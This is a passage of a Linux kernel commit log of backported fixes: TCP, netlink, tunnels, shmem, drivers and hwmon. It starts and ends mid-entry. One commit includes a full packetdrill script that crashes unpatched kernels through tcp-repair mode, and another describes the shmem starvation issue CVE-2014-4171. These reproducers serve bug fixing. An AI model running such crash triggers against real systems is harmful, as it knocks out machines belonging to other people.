error. Until now, netlink_recvmsg() directly recorded that negative value in sk->sk_err, but that's wrong since sk_err takes positive errno values. (This manifests as userspace receiving a positive return value from the recv() system call, falsely indicating success.) This bug was introduced in the commit that started checking the netlink_dump() return value, commit b44d211 (netlink: handle errors from netlink_dump()). Multithreaded Netlink dumps are one way to trigger this behavior in practice, as described in the commit message for the userspace workaround posted here: http://openvswitch.org/pipermail/dev/2014-June/042339.html This commit also fixes the same bug in netlink_poll(), introduced in commit cd1df525d (netlink: add flow control for memory mapped I/O). Signed-off-by: Ben Pfaff Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bcb70a4403ba28a29168c5039a40ac107ae43780 Author: Thomas Fitzsimmons Date: Tue Jul 8 19:44:07 2014 -0400 net: mvneta: Fix big endian issue in mvneta_txq_desc_csum() [ Upstream commit 0a1985879437d14bda8c90d0dae3455c467d7642 ] This commit fixes the command value generated for CSUM calculation when running in big endian mode. The Ethernet protocol ID for IP was being unconditionally byte-swapped in the layer 3 protocol check (with swab16), which caused the mvneta driver to not function correctly in big endian mode. This patch byte-swaps the ID conditionally with htons. Cc: # v3.13+ Signed-off-by: Thomas Fitzsimmons Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7a2e3f0c4faa8fff1b9643d081849a1bfa45436d Author: Thomas Petazzoni Date: Tue Jul 8 10:49:43 2014 +0200 net: mvneta: fix operation in 10 Mbit/s mode [ Upstream commit 4d12bc63ab5e48c1d78fa13883cf6fefcea3afb1 ] As reported by Maggie Mae Roxas, the mvneta driver doesn't behave properly in 10 Mbit/s mode. This is due to a misconfiguration of the MVNETA_GMAC_AUTONEG_CONFIG register: bit MVNETA_GMAC_CONFIG_MII_SPEED must be set for a 100 Mbit/s speed, but cleared for a 10 Mbit/s speed, which the driver was not properly doing. This commit adjusts that by setting the MVNETA_GMAC_CONFIG_MII_SPEED bit only in 100 Mbit/s mode, and relying on the fact that all the speed related bits of this register are cleared at the beginning of the mvneta_adjust_link() function. This problem exists since c5aff18204da0 ("net: mvneta: driver for Marvell Armada 370/XP network unit") which is the commit that introduced the mvneta driver in the kernel. Cc: # v3.8+ Fixes: c5aff18204da0 ("net: mvneta: driver for Marvell Armada 370/XP network unit") Reported-by: Maggie Mae Roxas Cc: Maggie Mae Roxas Signed-off-by: Thomas Petazzoni Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b12eaaeb7d24ccd0ed30db52095a536e0d7e424a Author: Andrey Utkin Date: Mon Jul 7 23:22:50 2014 +0300 appletalk: Fix socket referencing in skb [ Upstream commit 36beddc272c111689f3042bf3d10a64d8a805f93 ] Setting just skb->sk without taking its reference and setting a destructor is invalid. However, in the places where this was done, skb is used in a way not requiring skb->sk setting. So dropping the setting of skb->sk. Thanks to Eric Dumazet for correct solution. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=79441 Reported-by: Ed Martin Signed-off-by: Andrey Utkin Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ab0387dc40b01866424fdac560e4479fd7752dcf Author: Yuchung Cheng Date: Wed Jul 2 12:07:16 2014 -0700 tcp: fix false undo corner cases [ Upstream commit 6e08d5e3c8236e7484229e46fdf92006e1dd4c49 ] The undo code assumes that, upon entering loss recovery, TCP 1) always retransmit something 2) the retransmission never fails locally (e.g., qdisc drop) so undo_marker is set in tcp_enter_recovery() and undo_retrans is incremented only when tcp_retransmit_skb() is successful. When the assumption is broken because TCP's cwnd is too small to retransmit or the retransmit fails locally. The next (DUP)ACK would incorrectly revert the cwnd and the congestion state in tcp_try_undo_dsack() or tcp_may_undo(). Subsequent (DUP)ACKs may enter the recovery state. The sender repeatedly enter and (incorrectly) exit recovery states if the retransmits continue to fail locally while receiving (DUP)ACKs. The fix is to initialize undo_retrans to -1 and start counting on the first retransmission. Always increment undo_retrans even if the retransmissions fail locally because they couldn't cause DSACKs to undo the cwnd reduction. Signed-off-by: Yuchung Cheng Signed-off-by: Neal Cardwell Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a47ed80d5a2a8607be06ba65a0549ef3bc94bc06 Author: dingtianhong Date: Wed Jul 2 13:50:48 2014 +0800 igmp: fix the problem when mc leave group [ Upstream commit 52ad353a5344f1f700c5b777175bdfa41d3cd65a ] The problem was triggered by these steps: 1) create socket, bind and then setsockopt for add mc group. mreq.imr_multiaddr.s_addr = inet_addr("255.0.0.37"); mreq.imr_interface.s_addr = inet_addr("192.168.1.2"); setsockopt(sockfd, IPPROTO_IP, IP_ADD_MEMBERSHIP, &mreq, sizeof(mreq)); 2) drop the mc group for this socket. mreq.imr_multiaddr.s_addr = inet_addr("255.0.0.37"); mreq.imr_interface.s_addr = inet_addr("0.0.0.0"); setsockopt(sockfd, IPPROTO_IP, IP_DROP_MEMBERSHIP, &mreq, sizeof(mreq)); 3) and then drop the socket, I found the mc group was still used by the dev: netstat -g Interface RefCnt Group --------------- ------ --------------------- eth2 1 255.0.0.37 Normally even though the IP_DROP_MEMBERSHIP return error, the mc group still need to be released for the netdev when drop the socket, but this process was broken when route default is NULL, the reason is that: The ip_mc_leave_group() will choose the in_dev by the imr_interface.s_addr, if input addr is NULL, the default route dev will be chosen, then the ifindex is got from the dev, then polling the inet->mc_list and return -ENODEV, but if the default route dev is NULL, the in_dev and ifIndex is both NULL, when polling the inet->mc_list, the mc group will be released from the mc_list, but the dev didn't dec the refcnt for this mc group, so when dropping the socket, the mc_list is NULL and the dev still keep this group. v1->v2: According Hideaki's suggestion, we should align with IPv6 (RFC3493) and BSDs, so I add the checking for the in_dev before polling the mc_list, make sure when we remove the mc group, dec the refcnt to the real dev which was using the mc address. The problem would never happened again. Signed-off-by: Ding Tianhong Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 74aa38eae53c5845fae31be00c83eb8aaba7c31d Author: Bjørn Mork Date: Thu Jul 17 13:33:51 2014 +0200 net: qmi_wwan: add two Sierra Wireless/Netgear devices [ Upstream commit 5343330010a892b76a97fd93ad3c455a4a32a7fb ] Add two device IDs found in an out-of-tree driver downloadable from Netgear. Signed-off-by: Bjørn Mork Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 439a2bbc2474eefc9d82124ef6953a85f05d13fa Author: Bernd Wachter Date: Tue Jul 1 22:01:09 2014 +0300 net: qmi_wwan: Add ID for Telewell TW-LTE 4G v2 [ Upstream commit 8dcb4b1526747d8431f9895e153dd478c9d16186 ] There's a new version of the Telewell 4G modem working with, but not recognized by this driver. Signed-off-by: Bernd Wachter Acked-by: Bjørn Mork Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 45a89bda6bd26f4e391459d6d17626b7ab3bddb0 Author: Edward Allcutt Date: Mon Jun 30 16:16:02 2014 +0100 ipv4: icmp: Fix pMTU handling for rare case [ Upstream commit 68b7107b62983f2cff0948292429d5f5999df096 ] Some older router implementations still send Fragmentation Needed errors with the Next-Hop MTU field set to zero. This is explicitly described as an eventuality that hosts must deal with by the standard (RFC 1191) since older standards specified that those bits must be zero. Linux had a generic (for all of IPv4) implementation of the algorithm described in the RFC for searching a list of MTU plateaus for a good value. Commit 46517008e116 ("ipv4: Kill ip_rt_frag_needed().") removed this as part of the changes to remove the routing cache. Subsequently any Fragmentation Needed packet with a zero Next-Hop MTU has been discarded without being passed to the per-protocol handlers or notifying userspace for raw sockets. When there is a router which does not implement RFC 1191 on an MTU limited path then this results in stalled connections since large packets are discarded and the local protocols are not notified so they never attempt to lower the pMTU. One example I have seen is an OpenBSD router terminating IPSec tunnels. It's worth pointing out that this case is distinct from the BSD 4.2 bug which incorrectly calculated the Next-Hop MTU since the commit in question dismissed that as a valid concern. All of the per-protocols handlers implement the simple approach from RFC 1191 of immediately falling back to the minimum value. Although this is sub-optimal it is vastly preferable to connections hanging indefinitely. Remove the Next-Hop MTU != 0 check and allow such packets to follow the normal path. Fixes: 46517008e116 ("ipv4: Kill ip_rt_frag_needed().") Signed-off-by: Edward Allcutt Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c33a88d15d4494d3208fe594e72bcf23d9ffb8dc Author: Christoph Paasch Date: Sat Jun 28 18:26:37 2014 +0200 tcp: Fix divide by zero when pushing during tcp-repair [ Upstream commit 5924f17a8a30c2ae18d034a86ee7581b34accef6 ] When in repair-mode and TCP_RECV_QUEUE is set, we end up calling tcp_push with mss_now being 0. If data is in the send-queue and tcp_set_skb_tso_segs gets called, we crash because it will divide by mss_now: [ 347.151939] divide error: 0000 [#1] SMP [ 347.152907] Modules linked in: [ 347.152907] CPU: 1 PID: 1123 Comm: packetdrill Not tainted 3.16.0-rc2 #4 [ 347.152907] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2007 [ 347.152907] task: f5b88540 ti: f3c82000 task.ti: f3c82000 [ 347.152907] EIP: 0060:[] EFLAGS: 00210246 CPU: 1 [ 347.152907] EIP is at tcp_set_skb_tso_segs+0x49/0xa0 [ 347.152907] EAX: 00000b67 EBX: f5acd080 ECX: 00000000 EDX: 00000000 [ 347.152907] ESI: f5a28f40 EDI: f3c88f00 EBP: f3c83d10 ESP: f3c83d00 [ 347.152907] DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068 [ 347.152907] CR0: 80050033 CR2: 083158b0 CR3: 35146000 CR4: 000006b0 [ 347.152907] Stack: [ 347.152907] c167f9d9 f5acd080 000005b4 00000002 f3c83d20 c16013e6 f3c88f00 f5acd080 [ 347.152907] f3c83da0 c1603b5a f3c83d38 c10a0188 00000000 00000000 f3c83d84 c10acc85 [ 347.152907] c1ad5ec0 00000000 00000000 c1ad679c 010003e0 00000000 00000000 f3c88fc8 [ 347.152907] Call Trace: [ 347.152907] [] ? apic_timer_interrupt+0x2d/0x34 [ 347.152907] [] tcp_init_tso_segs+0x36/0x50 [ 347.152907] [] tcp_write_xmit+0x7a/0xbf0 [ 347.152907] [] ? up+0x28/0x40 [ 347.152907] [] ? console_unlock+0x295/0x480 [ 347.152907] [] ? vprintk_emit+0x1ef/0x4b0 [ 347.152907] [] __tcp_push_pending_frames+0x36/0xd0 [ 347.152907] [] tcp_push+0xf0/0x120 [ 347.152907] [] tcp_sendmsg+0xf1/0xbf0 [ 347.152907] [] ? kmem_cache_free+0xf0/0x120 [ 347.152907] [] ? __sigqueue_free+0x32/0x40 [ 347.152907] [] ? __sigqueue_free+0x32/0x40 [ 347.152907] [] ? do_wp_page+0x3e0/0x850 [ 347.152907] [] inet_sendmsg+0x4a/0xb0 [ 347.152907] [] ? handle_mm_fault+0x709/0xfb0 [ 347.152907] [] sock_aio_write+0xbb/0xd0 [ 347.152907] [] do_sync_write+0x69/0xa0 [ 347.152907] [] vfs_write+0x123/0x160 [ 347.152907] [] SyS_write+0x55/0xb0 [ 347.152907] [] sysenter_do_call+0x12/0x28 This can easily be reproduced with the following packetdrill-script (the "magic" with netem, sk_pacing and limit_output_bytes is done to prevent the kernel from pushing all segments, because hitting the limit without doing this is not so easy with packetdrill): 0 socket(..., SOCK_STREAM, IPPROTO_TCP) = 3 +0 setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0 +0 bind(3, ..., ...) = 0 +0 listen(3, 1) = 0 +0 < S 0:0(0) win 32792 +0 > S. 0:0(0) ack 1 +0.1 < . 1:1(0) ack 1 win 65000 +0 accept(3, ..., ...) = 4 // This forces that not all segments of the snd-queue will be pushed +0 `tc qdisc add dev tun0 root netem delay 10ms` +0 `sysctl -w net.ipv4.tcp_limit_output_bytes=2` +0 setsockopt(4, SOL_SOCKET, 47, [2], 4) = 0 +0 write(4,...,10000) = 10000 +0 write(4,...,10000) = 10000 // Set tcp-repair stuff, particularly TCP_RECV_QUEUE +0 setsockopt(4, SOL_TCP, 19, [1], 4) = 0 +0 setsockopt(4, SOL_TCP, 20, [1], 4) = 0 // This now will make the write push the remaining segments +0 setsockopt(4, SOL_SOCKET, 47, [20000], 4) = 0 +0 `sysctl -w net.ipv4.tcp_limit_output_bytes=130000` // Now we will crash +0 write(4,...,1000) = 1000 This happens since ec3423257508 (tcp: fix retransmission in repair mode). Prior to that, the call to tcp_push was prevented by a check for tp->repair. The patch fixes it, by adding the new goto-label out_nopush. When exiting tcp_sendmsg and a push is not required, which is the case for tp->repair, we go to this label. When repairing and calling send() with TCP_RECV_QUEUE, the data is actually put in the receive-queue. So, no push is required because no data has been added to the send-queue. Cc: Andrew Vagin Cc: Pavel Emelyanov Fixes: ec3423257508 (tcp: fix retransmission in repair mode) Signed-off-by: Christoph Paasch Acked-by: Andrew Vagin Acked-by: Pavel Emelyanov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 42c8cafe6fbc0ea9ad5fd83fe884219f43a0d3cc Author: Eric Dumazet Date: Thu Jun 26 00:44:02 2014 -0700 bnx2x: fix possible panic under memory stress [ Upstream commit 07b0f00964def8af9321cfd6c4a7e84f6362f728 ] While it is legal to kfree(NULL), it is not wise to use : put_page(virt_to_head_page(NULL)) BUG: unable to handle kernel paging request at ffffeba400000000 IP: [] virt_to_head_page+0x36/0x44 [bnx2x] Reported-by: Michel Lespinasse Signed-off-by: Eric Dumazet Cc: Ariel Elior Fixes: d46d132cc021 ("bnx2x: use netdev_alloc_frag()") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c1fc38a99aa99bba76bd195abfde60e9c8c1082f Author: Eric Dumazet Date: Wed Jul 2 02:39:38 2014 -0700 net: fix sparse warning in sk_dst_set() [ Upstream commit 5925a0555bdaf0b396a84318cbc21ba085f6c0d3 ] sk_dst_cache has __rcu annotation, so we need a cast to avoid following sparse error : include/net/sock.h:1774:19: warning: incorrect type in initializer (different address spaces) include/net/sock.h:1774:19: expected struct dst_entry [noderef] *__ret include/net/sock.h:1774:19: got struct dst_entry *dst Signed-off-by: Eric Dumazet Reported-by: kbuild test robot Fixes: 7f502361531e ("ipv4: irq safe sk_dst_[re]set() and ipv4_sk_update_pmtu() fix") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d34b811640b3682ad286ce8230be73042ac3c6f5 Author: Eric Dumazet Date: Mon Jun 30 01:26:23 2014 -0700 ipv4: irq safe sk_dst_[re]set() and ipv4_sk_update_pmtu() fix [ Upstream commit 7f502361531e9eecb396cf99bdc9e9a59f7ebd7f ] We have two different ways to handle changes to sk->sk_dst First way (used by TCP) assumes socket lock is owned by caller, and use no extra lock : __sk_dst_set() & __sk_dst_reset() Another way (used by UDP) uses sk_dst_lock because socket lock is not always taken. Note that sk_dst_lock is not softirq safe. These ways are not inter changeable for a given socket type. ipv4_sk_update_pmtu(), added in linux-3.8, added a race, as it used the socket lock as synchronization, but users might be UDP sockets. Instead of converting sk_dst_lock to a softirq safe version, use xchg() as we did for sk_rx_dst in commit e47eb5dfb296b ("udp: ipv4: do not use sk_dst_lock from softirq context") In a follow up patch, we probably can remove sk_dst_lock, as it is only used in IPv6. Signed-off-by: Eric Dumazet Cc: Steffen Klassert Fixes: 9cb3a50c5f63e ("ipv4: Invalidate the socket cached route on pmtu events if possible") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 509afaff07ff13fa4e70e7099dae2e407c26d840 Author: Eric Dumazet Date: Tue Jun 24 10:05:11 2014 -0700 ipv4: fix dst race in sk_dst_get() [ Upstream commit f88649721268999bdff09777847080a52004f691 ] When IP route cache had been removed in linux-3.6, we broke assumption that dst entries were all freed after rcu grace period. DST_NOCACHE dst were supposed to be freed from dst_release(). But it appears we want to keep such dst around, either in UDP sockets or tunnels. In sk_dst_get() we need to make sure dst refcount is not 0 before incrementing it, or else we might end up freeing a dst twice. DST_NOCACHE set on a dst does not mean this dst can not be attached to a socket or a tunnel. Then, before actual freeing, we need to observe a rcu grace period to make sure all other cpus can catch the fact the dst is no longer usable. Signed-off-by: Eric Dumazet Reported-by: Dormando Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d91d712ae8080d8f897eeb39201660177bcf3fb5 Author: Li RongQing Date: Wed Jun 18 13:46:02 2014 +0800 8021q: fix a potential memory leak [ Upstream commit 916c1689a09bc1ca81f2d7a34876f8d35aadd11b ] skb_cow called in vlan_reorder_header does not free the skb when it failed, and vlan_reorder_header returns NULL to reset original skb when it is called in vlan_untag, lead to a memory leak. Signed-off-by: Li RongQing Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e7f1f468f3880e00346406e8c671904760dc7b64 Author: Daniel Borkmann Date: Wed Jun 18 23:46:31 2014 +0200 net: sctp: check proc_dointvec result in proc_sctp_do_auth [ Upstream commit 24599e61b7552673dd85971cf5a35369cd8c119e ] When writing to the sysctl field net.sctp.auth_enable, it can well be that the user buffer we handed over to proc_dointvec() via proc_sctp_do_auth() handler contains something other than integers. In that case, we would set an uninitialized 4-byte value from the stack to net->sctp.auth_enable that can be leaked back when reading the sysctl variable, and it can unintentionally turn auth_enable on/off based on the stack content since auth_enable is interpreted as a boolean. Fix it up by making sure proc_dointvec() returned sucessfully. Fixes: b14878ccb7fa ("net: sctp: cache auth_enable per endpoint") Reported-by: Florian Westphal Signed-off-by: Daniel Borkmann Acked-by: Neil Horman Acked-by: Vlad Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bf1d2ab8698772d6644f1dfde1fce63f273c6226 Author: Neal Cardwell Date: Wed Jun 18 21:15:03 2014 -0400 tcp: fix tcp_match_skb_to_sack() for unaligned SACK at end of an skb [ Upstream commit 2cd0d743b05e87445c54ca124a9916f22f16742e ] If there is an MSS change (or misbehaving receiver) that causes a SACK to arrive that covers the end of an skb but is less than one MSS, then tcp_match_skb_to_sack() was rounding up pkt_len to the full length of the skb ("Round if necessary..."), then chopping all bytes off the skb and creating a zero-byte skb in the write queue. This was visible now because the recently simplified TLP logic in bef1909ee3ed1c ("tcp: fixing TLP's FIN recovery") could find that 0-byte skb at the end of the write queue, and now that we do not check that skb's length we could send it as a TLP probe. Consider the following example scenario: mss: 1000 skb: seq: 0 end_seq: 4000 len: 4000 SACK: start_seq: 3999 end_seq: 4000 The tcp_match_skb_to_sack() code will compute: in_sack = false pkt_len = start_seq - TCP_SKB_CB(skb)->seq = 3999 - 0 = 3999 new_len = (pkt_len / mss) * mss = (3999/1000)*1000 = 3000 new_len += mss = 4000 Previously we would find the new_len > skb->len check failing, so we would fall through and set pkt_len = new_len = 4000 and chop off pkt_len of 4000 from the 4000-byte skb, leaving a 0-byte segment afterward in the write queue. With this new commit, we notice that the new new_len >= skb->len check succeeds, so that we return without trying to fragment. Fixes: adb92db857ee ("tcp: Make SACK code to split only at mss boundaries") Reported-by: Eric Dumazet Signed-off-by: Neal Cardwell Cc: Eric Dumazet Cc: Yuchung Cheng Cc: Ilpo Jarvinen Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4fb5f6a61bca4d11e476101342ca5859d18a47ba Author: Dmitry Popov Date: Sat Jul 5 02:26:37 2014 +0400 ip_tunnel: fix ip_tunnel_lookup [ Upstream commit e0056593b61253f1a8a9941dacda22e73b963cdc ] This patch fixes 3 similar bugs where incoming packets might be routed into wrong non-wildcard tunnels: 1) Consider the following setup: ip address add 1.1.1.1/24 dev eth0 ip address add 1.1.1.2/24 dev eth0 ip tunnel add ipip1 remote 2.2.2.2 local 1.1.1.1 mode ipip dev eth0 ip link set ipip1 up Incoming ipip packets from 2.2.2.2 were routed into ipip1 even if it has dst = 1.1.1.2. Moreover even if there was wildcard tunnel like ip tunnel add ipip0 remote 2.2.2.2 local any mode ipip dev eth0 but it was created before explicit one (with local 1.1.1.1), incoming ipip packets with src = 2.2.2.2 and dst = 1.1.1.2 were still routed into ipip1. Same issue existed with all tunnels that use ip_tunnel_lookup (gre, vti) 2) ip address add 1.1.1.1/24 dev eth0 ip tunnel add ipip1 remote 2.2.146.85 local 1.1.1.1 mode ipip dev eth0 ip link set ipip1 up Incoming ipip packets with dst = 1.1.1.1 were routed into ipip1, no matter what src address is. Any remote ip address which has ip_tunnel_hash = 0 raised this issue, 2.2.146.85 is just an example, there are more than 4 million of them. And again, wildcard tunnel like ip tunnel add ipip0 remote any local 1.1.1.1 mode ipip dev eth0 wouldn't be ever matched if it was created before explicit tunnel like above. Gre & vti tunnels had the same issue. 3) ip address add 1.1.1.1/24 dev eth0 ip tunnel add gre1 remote 2.2.146.84 local 1.1.1.1 key 1 mode gre dev eth0 ip link set gre1 up Any incoming gre packet with key = 1 were routed into gre1, no matter what src/dst addresses are. Any remote ip address which has ip_tunnel_hash = 0 raised the issue, 2.2.146.84 is just an example, there are more than 4 million of them. Wildcard tunnel like ip tunnel add gre2 remote any local any key 1 mode gre dev eth0 wouldn't be ever matched if it was created before explicit tunnel like above. All this stuff happened because while looking for a wildcard tunnel we didn't check that matched tunnel is a wildcard one. Fixed. Signed-off-by: Dmitry Popov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d5bf282074aa291cdb53373b4460c09b2d9129f2 Author: Hugh Dickins Date: Wed Jul 23 14:00:13 2014 -0700 shmem: fix splicing from a hole while it's punched commit b1a366500bd537b50c3aad26dc7df083ec03a448 upstream. shmem_fault() is the actual culprit in trinity's hole-punch starvation, and the most significant cause of such problems: since a page faulted is one that then appears page_mapped(), needing unmap_mapping_range() and i_mmap_mutex to be unmapped again. But it is not the only way in which a page can be brought into a hole in the radix_tree while that hole is being punched; and Vlastimil's testing implies that if enough other processors are busy filling in the hole, then shmem_undo_range() can be kept from completing indefinitely. shmem_file_splice_read() is the main other user of SGP_CACHE, which can instantiate shmem pagecache pages in the read-only case (without holding i_mutex, so perhaps concurrently with a hole-punch). Probably it's silly not to use SGP_READ already (using the ZERO_PAGE for holes): which ought to be safe, but might bring surprises - not a change to be rushed. shmem_read_mapping_page_gfp() is an internal interface used by drivers/gpu/drm GEM (and next by uprobes): it should be okay. And shmem_file_read_iter() uses the SGP_DIRTY variant of SGP_CACHE, when called internally by the kernel (perhaps for a stacking filesystem, which might rely on holes to be reserved): it's unclear whether it could be provoked to keep hole-punch busy or not. We could apply the same umbrella as now used in shmem_fault() to shmem_file_splice_read() and the others; but it looks ugly, and use over a range raises questions - should it actually be per page? can these get starved themselves? The origin of this part of the problem is my v3.1 commit d0823576bf4b ("mm: pincer in truncate_inode_pages_range"), once it was duplicated into shmem.c. It seemed like a nice idea at the time, to ensure (barring RCU lookup fuzziness) that there's an instant when the entire hole is empty; but the indefinitely repeated scans to ensure that make it vulnerable. Revert that "enhancement" to hole-punch from shmem_undo_range(), but retain the unproblematic rescanning when it's truncating; add a couple of comments there. Remove the "indices[0] >= end" test: that is now handled satisfactorily by the inner loop, and mem_cgroup_uncharge_start()/end() are too light to be worth avoiding here. But if we do not always loop indefinitely, we do need to handle the case of swap swizzled back to page before shmem_free_swap() gets it: add a retry for that case, as suggested by Konstantin Khlebnikov; and for the case of page swizzled back to swap, as suggested by Johannes Weiner. Signed-off-by: Hugh Dickins Reported-by: Sasha Levin Suggested-by: Vlastimil Babka Cc: Konstantin Khlebnikov Cc: Johannes Weiner Cc: Lukas Czerner Cc: Dave Jones Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6d69501955203234cdd5ee36d4f05759cdb67826 Author: Hugh Dickins Date: Wed Jul 23 14:00:10 2014 -0700 shmem: fix faulting into a hole, not taking i_mutex commit 8e205f779d1443a94b5ae81aa359cb535dd3021e upstream. Commit f00cdc6df7d7 ("shmem: fix faulting into a hole while it's punched") was buggy: Sasha sent a lockdep report to remind us that grabbing i_mutex in the fault path is a no-no (write syscall may already hold i_mutex while faulting user buffer). We tried a completely different approach (see following patch) but that proved inadequate: good enough for a rational workload, but not good enough against trinity - which forks off so many mappings of the object that contention on i_mmap_mutex while hole-puncher holds i_mutex builds into serious starvation when concurrent faults force the puncher to fall back to single-page unmap_mapping_range() searches of the i_mmap tree. So return to the original umbrella approach, but keep away from i_mutex this time. We really don't want to bloat every shmem inode with a new mutex or completion, just to protect this unlikely case from trinity. So extend the original with wait_queue_head on stack at the hole-punch end, and wait_queue item on the stack at the fault end. This involves further use of i_lock to guard against the races: lockdep has been happy so far, and I see fs/inode.c:unlock_new_inode() holds i_lock around wake_up_bit(), which is comparable to what we do here. i_lock is more convenient, but we could switch to shmem's info->lock. This issue has been tagged with CVE-2014-4171, which will require commit f00cdc6df7d7 and this and the following patch to be backported: we suggest to 3.1+, though in fact the trinity forkbomb effect might go back as far as 2.6.16, when madvise(,,MADV_REMOVE) came in - or might not, since much has changed, with i_mmap_mutex a spinlock before 3.0. Anyone running trinity on 3.0 and earlier? I don't think we need care. Signed-off-by: Hugh Dickins Reported-by: Sasha Levin Tested-by: Sasha Levin Cc: Vlastimil Babka Cc: Konstantin Khlebnikov Cc: Johannes Weiner Cc: Lukas Czerner Cc: Dave Jones Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 010ae75536faf28d8f3f2c48b3d91c5e81f93181 Author: Hugh Dickins Date: Mon Jun 23 13:22:06 2014 -0700 shmem: fix faulting into a hole while it's punched commit f00cdc6df7d7cfcabb5b740911e6788cb0802bdb upstream. Trinity finds that mmap access to a hole while it's punched from shmem can prevent the madvise(MADV_REMOVE) or fallocate(FALLOC_FL_PUNCH_HOLE) from completing, until the reader chooses to stop; with the puncher's hold on i_mutex locking out all other writers until it can complete. It appears that the tmpfs fault path is too light in comparison with its hole-punching path, lacking an i_data_sem to obstruct it; but we don't want to slow down the common case. Extend shmem_fallocate()'s existing range notification mechanism, so shmem_fault() can refrain from faulting pages into the hole while it's punched, waiting instead on i_mutex (when safe to sleep; or repeatedly faulting when not). [akpm@linux-foundation.org: coding-style fixes] Signed-off-by: Hugh Dickins Reported-by: Sasha Levin Tested-by: Sasha Levin Cc: Dave Jones Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 60093c752f56d78dd862e16ecd0b8136a3cc13ef Author: Emmanuel Grumbach Date: Wed Jun 25 09:12:30 2014 +0300 iwlwifi: dvm: don't enable CTS to self commit 43d826ca5979927131685cc2092c7ce862cb91cd upstream. We should always prefer to use full RTS protection. Using CTS to self gives a meaningless improvement, but this flow is much harder for the firmware which is likely to have issues with it. Signed-off-by: Emmanuel Grumbach Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1c4cf4a5a8c5b28dff57356485c858188d88c5ee Author: Stefan Assmann Date: Thu Jul 10 03:29:39 2014 -0700 igb: do a reset on SR-IOV re-init if device is down commit 76252723e88681628a3dbb9c09c963e095476f73 upstream. To properly re-initialize SR-IOV it is necessary to reset the device even if it is already down. Not doing this may result in Tx unit hangs. Signed-off-by: Stefan Assmann Tested-by: Aaron Brown Signed-off-by: Jeff Kirsher Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c3ef82b1a6eb67b6d78ff2ef89fc66b7959cc1ad Author: Guenter Roeck Date: Wed Jul 16 17:40:31 2014 -0700 hwmon: (adt7470) Fix writes to temperature limit registers commit de12d6f4b10b21854441f5242dcb29ea96181e58 upstream. Temperature limit registers are signed. Limits therefore need to be clamped to (-128, 127) degrees C and not to (0, 255) degrees C. Without this fix, writing a limit of 128 degrees C sets the actual limit to -128 degrees C. Signed-off-by: Guenter Roeck Reviewed-by: Axel Lin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ee6203bdbc15f4fb41ba467df3509e6347d75472 Author: Axel Lin Date: Wed Jul 9 09:18:59 2014 +0800 hwmon: (da9052) Don't use dash in the name attribute commit ee14b644daaa58afe1e91bb9ebd9cf1b18d1f5fa upstream. Dashes are not allowed in hwmon name attributes. Use "da9052" instead of "da9052-hwmon". Signed-off-by: Axel Lin Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f789b1201fe790c2564f55c79cf55ba6c29c45e6 Author: Axel Lin Date: Wed Jul 9 09:22:54 2014 +0800 hwmon: (da9055) Don't use dash in the name attribute commit 6b00f440dd678d786389a7100a2e03fe44478431 upstream. Dashes are not allowed in hwmon name attributes. Use "da9055" instead of "da9055-hwmon". Signed-off-by: Axel Lin Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b9e66821f909853195d85485816067b686a2e7fd Author: zhangwei(Jovi) Date: Thu Jul 18 16:31:05 2013 +0800 tracing: Add ftrace_trace_stack into __trace_puts/__trace_bputs commit 8abfb8727f4a724d31f9ccfd8013fbd16d539445 upstream. Currently trace option stacktrace is not applicable for trace_printk with constant string argument, the reason is in __trace_puts/__trace_bputs ftrace_trace_stack is missing. In contrast, when using trace_printk with non constant string argument(will call into __trace_printk/__trace_bprintk), then trace option stacktrace is workable, this inconstant result will confuses users a lot. Link: http://lkml.kernel.org/p/51E7A7C9.9040401@huawei.com Signed-off-by: zhangwei(Jovi) Signed-off-by: 